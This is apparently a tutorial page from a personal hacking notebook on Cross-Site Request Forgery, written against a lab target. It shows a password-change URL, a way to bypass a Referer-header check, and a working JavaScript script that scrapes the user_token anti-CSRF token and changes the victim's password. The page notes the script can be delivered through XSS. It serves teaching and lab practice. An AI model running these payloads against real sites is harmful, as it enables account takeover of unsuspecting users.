> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/cross-site-request-forgery-wip.md).

# Cross-Site Request Forgery (WIP)

Also known as CSRF, exploits the trust a web application has in the user’s browser. Trick a website to perform unwanted actions on a web application where a user is authenticated. This allows to send requests from off the site that the server will consider valid.

We can find a typical example of this vulnerability as follows:

* A site shows information about actions related to specific users, and whose data should remain confidential

{% code overflow="wrap" lineNumbers="true" %}

```bash
#Imagine we fill out a form to change the actual password of an account
#We change the password to $newpass
#We can see that the site processes the request and shows the data related to the action in the URL
http://$url/?password_new=$newpass&password_conf=$newpass&Change=Change

#As the session remains active even when closing the tab of the site, this will allow changes even from off the site
```

{% endcode %}

***

* Sometimes, it will not work directly, so we will need to check the source code to see the input conditions

{% tabs %}
{% tab title="Case 1" %}
Sometimes a validation could be done via request headers

{% code title="Example source code" overflow="wrap" lineNumbers="true" %}

```php
...
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
...
```

{% endcode %}

In this case, we can modify our petition to assign the corresponding headers and bypass the validation

{% code title="Modified pettion" overflow="wrap" lineNumbers="true" %}

```http
...
Referer: http://$UrlOfProperSite/
...
```

{% endcode %}
{% endtab %}

{% tab title="Case 2" %}
Sometimes a validation could be done via a token generated in every page refresh

{% code overflow="wrap" lineNumbers="true" %}

```bash
http://$url/?password_new=$newpass&password_conf=$newpass&token=$token
```

{% endcode %}

We can search for this information in the source code of the page to confirm

<pre class="language-html" data-title="index.html" data-overflow="wrap" data-line-numbers><code class="lang-html">...
<strong>&#x3C;input type='hidden' name='user_token' value='5a92a11e5ff6dc8e94ae2d469c615e0d' />
</strong>...
</code></pre>

We see the token in this case is named *user\_token.* Knowing this, we can try to catch the token generated for the user and resend the petition to be validated. For this purpose, we can use the following script:

{% code title="CSRF.js" overflow="wrap" lineNumbers="true" %}

```javascript
fetch("http://tcmserver:8001/vulnerabilities/csrf/")
  .then((response) => response.text())
  .then((text) => {
    const parser = new DOMParser();
    const htmlDocument = parser.parseFromString(text, "text/html");
    const csrfToken = Array.from(htmlDocument.querySelectorAll("input")).filter(
      (input) => input.name === "user_token"
    )[0].value;
    console.log(csrfToken);
    const newPass = "newpass";
    const url = `http://tcmserver:8001/vulnerabilities/csrf/?password_new=${newPass}&password_conf=${newPass}&Change=Change&user_token=${csrfToken}`;
    fetch(url);
    console.log("Password changed to: " + newPass);
  });
```

{% endcode %}

{% hint style="info" %}
This can be done directly from the browser console, via an XSS vulnerable part, or a file upload vulnerable part
{% endhint %}

This will catch the token from the HTML of the site, show it to us, and immediately send another petition with this information to properly validate the changes
{% endtab %}
{% endtabs %}